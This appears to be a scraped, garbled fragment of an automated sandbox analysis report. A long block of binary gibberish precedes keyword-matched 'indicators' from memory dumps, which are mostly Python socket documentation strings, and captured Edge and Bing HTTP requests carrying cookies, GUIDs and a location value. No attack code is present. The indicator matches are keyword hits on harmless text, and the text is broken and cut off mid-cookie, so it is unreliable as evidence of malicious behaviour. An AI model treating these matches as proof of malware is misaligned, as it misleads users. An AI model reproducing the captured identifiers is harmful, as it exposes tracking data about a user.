÷'IH&+.dÆ}q/N²aW»½GV°}ñðH·=W:TÓáò=[ÝAuã÷ý®µz%¡g~L^G)æÿµ·j³ùÚk!¸w+î®Å=P¬¸»Cµ¸·PâîV¼h(âBR¬øÏû½¿ç=ÿõ³Nþë^$sÏì}ík2{_÷T.BßÄ4×u »¤tBVI«ÇFÐõw§ËËËøüb:èzÝË\4O´iÕiÆ&ú(÷fñËÊ5ð[íä ÌHÇÞgt¾ß{uu¶êWÏõgÑS|PÂ½oßozºýU¤rFµzÅÓõ{ä§¤ß%}09³úGy·3ÙqÕÛJ-.yU$XÆÙ±+Ø£(Õû¾ÏFÓ$àüv1Ñ@Ê½9ßf¿cB¤2«?_FºôNµ¦môÞUí#zéLÃ6Å½÷4¡XÓí{?ùø¶8ÃiÄGÚSçÄõÚÙv\Ý+/K(noòÚÏLì¾÷×ÃZìbøÑ»²LgÎYÏO?Î#»6ÏÔÔ+Ï39Oÿý¸úâ åFVÐ4GhfÂiWâ__ÂäÐÕ·ïJìDÓY´8rOßN\$k½>ïGØå?5ä?¶MSIøHRK¾_2õ[!uZï&åä>ÞU>Tµpî}ùN}H+"í¨ÄÊjÂÎGÂ~¦9>ëRný·2I8ï7}4è±óßO9e*0ÿ*YÎHð`Õn!åJ¬`ju^îô9jÅâ:ñ>Ø¼cÖdãàDmérÛ<ßxTòððHÀÔro,PVÜ8½f¼q®syuÌS£[s¼ÑA¼D ¿[ifÅuÒ[¹|]Uc;¥"zm²jÇü9 ÌüÄFëJ»ýeqO]-Õ;9+®Â7?Ú[üðZWZ>îÛ7çÖþt¨ìzäzê:\~;åk/cdtCp³}¸BÀügnV§zWGEÃG¢É¯P+£º|->sµ®D}ã¿GÐö»¡ÎMx³zÚM!LY:÷¢f'ÔW"*wHÒÀr P©2£êôôm3/à6_/lîînä}Þ]Z¡{Ý~5Â¸H>E¿Ü´m¸þ¥õÛûøêhãIÈ8xåÏéµÔ°HVVE>½%j*1Ö~|ôÚVJ~ AìÎä«³éSRÍo?¯¿óüQ>ÁûÈè+ÎzPÛéÅÔ|.íÊ¥wG| âqv¾hÏf,4·¿q´rm¶wº;åYCq'ßV¹jA©goÔl¢¤Þ°Sn9¾Ç0Êÿ´[£î,T²SÔ[ËÐW¬êiS©,®8æ?\>Ò)X,¼4P¸x±gìàÚfÖGÚî²±Üò.i1Ys|P ûëxº£g³¶ÞíGKQ1¶å#ÜÇÐ§Û¯W#bv¾ÅVß®±0}OzÜB¨¬°oWt©s~]43 Lo|qºp9eÿdMpx#®#z÷|^q¸^õ!ø})Uo¿Ônv{¶äÎ¦ÌR/ñK?O9þÕ;ÚÌgÒÊXý0Õ¸=6òËêwNÀM4"°®m4Ù`ÙªÛ>øÄÏ-ù|Õ9,NZû2{¯RUòé=Tà¤Ýnàå1x$£}:Ï¢:]Üxÿ'¼ª{ÄòþQ3¤Óîâ´Nyèì+o¼ op~ð£ãøCêé£å^f©Íc'1ÚóéÀÐVL_òÊçxÉº¦@ûÇ;ÑvÃòCJOï¢ág÷*$ß°?W9±Tïå·ÞÏM¼q,&:0ÇB¾¹?o:é²7RÚÏ->].J¡L$êSRüÐÓÍ¥ØeÐR/ûïy~í!LÖ£íû»+öusãBBîÒè§ÔW"`kÁ»êÌ¤¾ú_Î*xý0n´>k%IÌ~°9g6Úòäg{ò?K¯ÒãdOÌÝùv~þÍùìnq¤TgÚVxmgo$.wÙï{ºbê#Q|¨s"~eöGî$é¿NÓc¼8¬õ7|2/+Íp¿ÞØÝ$2:-Ö®ö>À¸ ¯&ÆÇè¨.ep`{7uuñ3ß±iêCrqã³[ÿ.¾À½üû·Bì ýûýè±Ó¤,ÊËÛÛon¤|hû%ö³¿RfR_¹øýYkn ¦õµ9Ì|óuH¥+9Ë»ô7Ï__Ý.ç~n[ªÒvÞ$sâl¿Õ~!2\Ô¡ÁÐ~Eh¾s0Ú´³¦þF2Xø¾»½O|×¼ù²[êD*tdBfNãÿþfûÜë¡¯m!&×!Ä]1ªÚ@@¯¡;ºõ[±f×a'cÛÆõÁqæçõjFVïúßaÔ_ýßöº BÛ;Î'1Áesþ>¿_Ù&|óÞRáÿWÂÂ¼XëñêÓ}§@F®IïãöÒ·ëª.>Rà×\@g-ÑåH½ààãáNMÏÊr¥¾þuå±ßÆåýT:Um§ÁK8â5ÈüdÆð3²QÉ|ZN¬¿ÃÁßýrÚûZSó:°GKÚ²?Eñtâ.dÒíßð9ÓºVæ¿KøEû7ïc_Tí³çÎâÌ<%,J¿ Ü{fÂWÇ?¨wH2)iÈèë~H5(£ÉÛ×h½Ðÿ:çÿªêÁr5µÑ*,Ñ¢]W¼+.1zó?NÝ%õÕõi£¸6×»Å|CgKUý8MêÊ÷1"¡$ÿ_î8]ì(A°Å2&ö(µwK=m Ò}¼z4)ìQÔê&%÷o¦í¡Â£ÇùÌ ï&/äoàeQ¹þVÜ+S©ÞÛo<¯ÏÒþ'!â+ÛáúB×N«ëòªº_Ùq|Füu°InÆÓA¢·SþW{9@Ü³5 Z× )Ó³½/ì½ÕÿÈ|z+âÓBþo.ãÿ¶Í?æA`û7ãõGÀÿ!Cô?8ÿO:$ÿ»ºâÿåí~ØSÍGýûÝ·ÌT«Rn·»ÒÿïpoÒô4ÄøöÿgÇ¦B,*ªªX[ÜVÕÈi=?âããEñÿieë»;Ñæìììýýý¯_¿F(Þû¤âüã{{{Ï§rÿæÐ¨êÂ\iuÉÍÎ~Åë/þ¹ºCv4í¦BülSe¾D9µ3Pà±3R¨U^[úñÜ¤ëmÂïh3ôôp+äVæ{úã¡ûB!îï.Ç¼Ü!¬5$·_ËÀçðvà}5£¿Í;í½sÇ¼ðOMÑ*»éÏ_@_uÌhÑ=ñÑÑi[p?Ùp-I|)¶ køt»ø¥´X)©vF+ËôvJhã Sfê=£ð·öJë¹¤Úê[bE@sàåáóqu¶Ýç«z¥DJ2!WJZëÝÏ:Z±éÚ¡!70\É¿æ}¡¦>úÅöö¿_òsøì ÏÕÚy¢ú4ÏCm ½Ë{.þ¥$eåä|8ûFÝ°áñÁ!f´"nã4ä°â0WêÞ]ý¨¯Év~ñû#?ÞIi®Ä»+S¿u}/ ½L&5ûõN¥°»ùÕ¯eB!áÚ»Ó:Âþf¹$êÎ¶î³(%¸÷þÏDÉ«äíþö£Q«ijÖ5»BÛ\V[íg¢¨_-Á7ì½AwWÇ«~·?M¼ÔkMÙ9Ï³^Þ~%æàà°t*Üß,ÜÕÛ=ªû*|ßnAúï¼AØ<é:¥â6-s[¨ë (®Rb(à|ß4ðgiÎKr©àûpÛ©ýc×ð?>3$yp6ÏoõÐÂËCV|KU3ÍÞ§2kÖÆøC:Ö¸«k)TÓä¢p8Íº*ÕòD}f¢p©kcÕóî]gùÂÓ¯OÁÇ+-¯z.t<=yaï×;}àðiA¼;nËwÒ±íWãðàÞBrq²þîÙÚ$ÛC1Hh8&c666h§OsüÜ+-N~}aÌzníddd~?`¸Râ.+ÍLÑ£éeì}ª\/E½íßÉEb¿ïÛÔÖõP*ÖXÙØD/Êµnùxy+×"¥¹Ikà÷ØÅ1h CI©ë].ÑK1ßIAõDøBzô!¿¦ä±ß8ýzwÒ5¸õûíôç!MïïgÛÃß_V9±éjJ@Û=¬"; File: "PCAP")3e:T249f,Found reference to API "used with a socket or two-way pipe." (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found reference to API "threading shutdown instead of interpreter shutdown." (Indicator: " shutdown "; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found reference to API "S_IFSOCK: socket file" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found reference to API "all the necessary arguments for creating a socket connected to that service." (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found reference to API "This module allows you to spawn processes, connect to their" (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found reference to API "the defined proxy, using the CONNECT method for HTTPS URLs." (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000000.184119.0A177000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.0A177000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.0A177000.00000004.mdmp") Found reference to API "tunnel via the CONNECT method. **Enabling this flag means that request" (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000000.184119.0A177000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.0A177000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.0A177000.00000004.mdmp") Found reference to API "socket(family=AF_INET, type=SOCK_STREAM, proto=0) -> socket object" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "socket(family=-1, type=-1, proto=-1, fileno=None) -> socket object" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "Open a socket of the given type. The family argument specifies the" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "The socket is created as non-inheritable." (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "A socket object represents one endpoint of a network connection." (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "Methods of socket objects (keyword arguments not allowed):" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "_accept() -- accept connection, returning new socket fd and client address" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "bind(addr) -- bind the socket to a local address" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "bind(addr) -- bind the socket to a local address" (Indicator: " bind "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "connect(addr) -- connect the socket to a remote address" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "connect(addr) -- connect the socket to a remote address" (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "dup() -- return a new socket fd duplicated from fileno()" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "getsockopt(level, optname[, buflen]) -- get socket options" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "getblocking() -- return True if socket is blocking, False if non-blocking" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "setsockopt(level, optname, value[, optlen]) -- set socket options" (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "connection is closed, the underlying socket is closed." (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "time taken by the connect timeout. If the connection time has not been" (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "The socket must be of SOCK_STREAM type." (Indicator: " socket "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "Set up host and port for HTTP CONNECT tunnelling." (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "In a connection that uses HTTP CONNECT tunnelling, the host passed to" (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found reference to API "with the CONNECT request." (Indicator: " connect "; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp")3f:T515,Found string "* RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616" (Indicator: "HTTP/1.1"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000000.184119.0A480000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0A480000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.0A480000.00000004.mdmp") Found string "urllib.request module uses HTTP/1.1 and includes a "Connection:close"" (Indicator: "HTTP/1.1"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "HTTP/1.1 client library" (Indicator: "HTTP/1.1"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "As HTTP/1.1 is used for HTTP CONNECT tunnelling request, as per the RFC" (Indicator: "HTTP/1.1"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp")40:T6c29,Contains base62 string in header "eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiL" in header "GET /serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.22621&devicefamily=desktop&installdate=1684931888&clientversion=145.0.3800.58&experimentationmode=2&scpguard=0&scpfull=0&scpver=0 HTTP/1.1Host: edge.microsoft.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.22621Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0X-Client-Data: eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiLCI0IjoiMTkxODA0NDc2MDYxMjc4NTg3NiIsIjYiOiJzdGFibGUiLCI5IjoiZGVza3RvcCJ9Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "CI0IjoiMTkxODA0NDc2MDYxMjc4NTg3Ni" in header "GET /serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.22621&devicefamily=desktop&installdate=1684931888&clientversion=145.0.3800.58&experimentationmode=2&scpguard=0&scpfull=0&scpver=0 HTTP/1.1Host: edge.microsoft.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.22621Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0X-Client-Data: eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiLCI0IjoiMTkxODA0NDc2MDYxMjc4NTg3NiIsIjYiOiJzdGFibGUiLCI5IjoiZGVza3RvcCJ9Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "IsIjYiOiJzdGFibGUiLCI5IjoiZGVza3R" in header "GET /serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.22621&devicefamily=desktop&installdate=1684931888&clientversion=145.0.3800.58&experimentationmode=2&scpguard=0&scpfull=0&scpver=0 HTTP/1.1Host: edge.microsoft.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.22621Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0X-Client-Data: eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiLCI0IjoiMTkxODA0NDc2MDYxMjc4NTg3NiIsIjYiOiJzdGFibGUiLCI5IjoiZGVza3RvcCJ9Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "entityextractiontemplates/api/v1/" in header "GET /entityextractiontemplates/api/v1/assets/find-assets?name=arbitration_priority_list&version=39.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "entityextractiontemplates/api/v1/" in header "GET /entityextractiontemplates/api/v1/assets/find-assets?name=edge_hub_apps_manifest_gz&version=4.11.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "entityextractiontemplates/api/v1/" in header "GET /entityextractiontemplates/api/v1/assets/find-assets?name=domains_config_gz&version=3.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.22621Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "5E25271B8190D943537AD3FDB50874FC1" in header "GET /abusiveadblocking/api/v1/blocklist HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveIf-None-Match: "5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B"Sec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.22621Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstd" Contains base62 string in header "jmjflgjpcpepeafmmgdpfkogkghcpihaX" in header "POST /extensionwebstorebase/v1/crx HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveContent-Length: 943MS-CV: 8V3pkBWa3F3AXBSaVgYkYEX-Microsoft-Update-AppId: jmjflgjpcpepeafmmgdpfkogkghcpihaX-Microsoft-Update-Interactivity: bgX-Microsoft-Update-Service-Cohort: 2760X-Microsoft-Update-Updater: msedgecrx-145.0.3800.58Content-Type: application/jsonSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.22621Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0X-Client-Data: CMDnygE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9" Contains base62 string in header "1AE4B047598664C21732A3D4580265CB;" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwO" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; 